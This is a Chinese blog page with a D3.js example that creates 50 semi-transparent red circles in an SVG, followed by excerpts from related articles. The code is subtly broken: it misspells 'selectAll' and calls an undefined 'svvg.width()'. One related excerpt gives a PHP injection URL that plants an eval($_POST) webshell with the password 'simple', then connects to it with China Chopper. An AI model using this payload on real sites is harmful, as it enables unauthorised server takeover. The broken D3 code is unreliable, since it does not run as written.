当然也可以创建dom

var svg = d3.select('#svg');

svg .slectAll('circle.bb')     //选中DOM中的所有circle.bb标签,当DOM中不存在circle.bb时,那么这个返回值将是null

  .data(new Array(50))   //计算并且传递数组的值,数组长度为50,因此所有经过此节点的处理过程将处理50次,每次对应数组中不同的元素值

  .enter()    //创建新的DOM元素,当数组的数据被传递至此,数组中的元素个数多于DOM中已有的circle.bb个数,enter()将会创建新的circle.bb元素来补充(推荐Google一下enter()和exit()具体使用方法)

  .append('circle')  //这里的circle.bb不够分时就创建一个circle。。。

  .attr('cx',function(){

    return svvg.width() / 2 + Math.random() * 40;
   })
  .attr('cy',function(){
    return svvg.height() / 2 + Math.random() * 40;
  })
  .attr('r',5)
  .attr('stroke','rgba(255,0,0,0.7)')
  .attr('fill','rgba(255,0,0,0.2)');

d3创建多个svg元素的更多相关文章

  1. D3.js学习笔记(三)——创建基于数据的SVG元素

    目标 在这一章,你将会使用D3.js,基于我们的数据来把SVG元素添加到网页中.这一过程包括:把数据绑定到元素上,然后在使用这些元素来可视化我们的数据. 注意:不同于前几章,我们从一个完整的代码开始, ...

  2. d3可视化实战01:理解SVG元素特性

    一. SVG简介 ————————————————————————————————————————————————————————————————— SVG是一种和图像分辨率无关的矢量图形格式,它使用 ...

  3. 【译】用 React 和 D3 创建图表

    本文翻译自:https://dzone.com/articles/charts-with-modern-react-and-d3 本文将介绍如何利用 D3JS 和 ReactJS 来创建基础图表. R ...

  4. d3 根据数据绘制svg

    , , , , ]; var circles = svg.selectAll("circle") .data(dataset) .enter() .append("cir ...

  5. 创建和导出SVG的技巧(转载)

    本文转载自: 创建和导出SVG的技巧

  6. [D3] 2. Basics of SVG

    1. svg should use 'fill' prop instead 'background-color'2. svg width & height no need 'px'3. att ...

  7. D3.js & Data Visualization & SVG

    D3.js & Data Visualization & SVG https://davidwalsh.name/learning-d3 // import {scaleLinear} ...

  8. 【Selenium】通过xpath定位svg元素

    SVG 意为可缩放矢量图形(Scalable Vector Graphics)定位svg元素要用xpath的name()函数,比如//svg/line[2],要用//*[name()='svg']/* ...

  9. 范仁义html+css课程---9、video、audio、canvas和svg元素略讲

    范仁义html+css课程---9.video.audio.canvas和svg元素略讲 一.总结 一句话总结: video:HTML5视频标签. audio:html5音频标签. canvas:绘制 ...

随机推荐

  1. 一句话概括 tcp三次握手

    服务端和客户端都需要直到自己均可收发,因此需要三次握手. 简化三次握手: <img width="487" alt="2018-07-10 3 42 11" ...

  2. 在egg中配置cors

    在egg中配置 cors(跨域) 第一步,安装 egg-cors npm i egg-cors --save 第二步,配置 cors 在config/plugin.js文件下添加: exports.c ...

  3. 关于js中Ajax的同步、异步使用

    下面一个简单的例子,说明前后端交互中,Ajax同步和异步的使用 1.设置简单的一个div,包含触发事件 CompanyType() <div> <input type="h ...

  4. Codeforces 1155F 状压DP

    题意:给你一张图,问最少保留多少条边,使得这张图是边双联通分量. 思路:如果一个点集中的点已经是边双联通分量,那么从这个点集中的点x出发,经过若干个不是点集中的点,回到点集中的点y(x可能等于y),那 ...

  5. 在模拟器安装测试APP,给指定设备安装APP

    1.配置好安卓环境变量,确保adb已连接且可用 2.启动模拟器,通过cmd命令行窗口 输入adb devices,出现设备信息,该设备信息是模拟器的device ID 3.进入APP的存放目录:D:\ ...

  6. PHP构建一句话木马

    构建一句话木马,密码为simple: url/search.php?searchtype=5&tid=&area=eval($_POST[simple]) 之后使用菜刀进行链接,密码为 ...

  7. php操作redis--有序集合(sorted set)篇

    常用函数:zAdd,zRange,zRem,zCard等. 应用场景:类似集合,可以提供一个优先级的参数来为成员排序,如:分数 连接 $redis = new Redis(); $redis-> ...

  8. (转载)js引擎的执行过程(二)

    概述 js引擎执行过程主要分为三个阶段,分别是语法分析,预编译和执行阶段,上篇文章我们介绍了语法分析和预编译阶段,那么我们先做个简单概括,如下: 语法分析: 分别对加载完成的代码块进行语法检验,语法正 ...

  9. HUE工具使用

    1.HUE简介 来源 HUE=HadoopUser Experience,看这名字就知道怎么回事了吧,没错,直白来说就是Hadoop用户体验,是一个开源的Apache Hadoop UI系统,由Clo ...

  10. NX二次开发-OLE/COM向EXCEL表格中插入图片

    今晚有一个兄弟问我怎么往EXCEL里插入图片(加工程序单中需要插入图片),这个我之前也没弄过,回复了他一句不知道,后来刚刚干完游戏吃完鸡,就去VC++的书上翻了翻,还真的被我翻到了.VC++的方法往E ...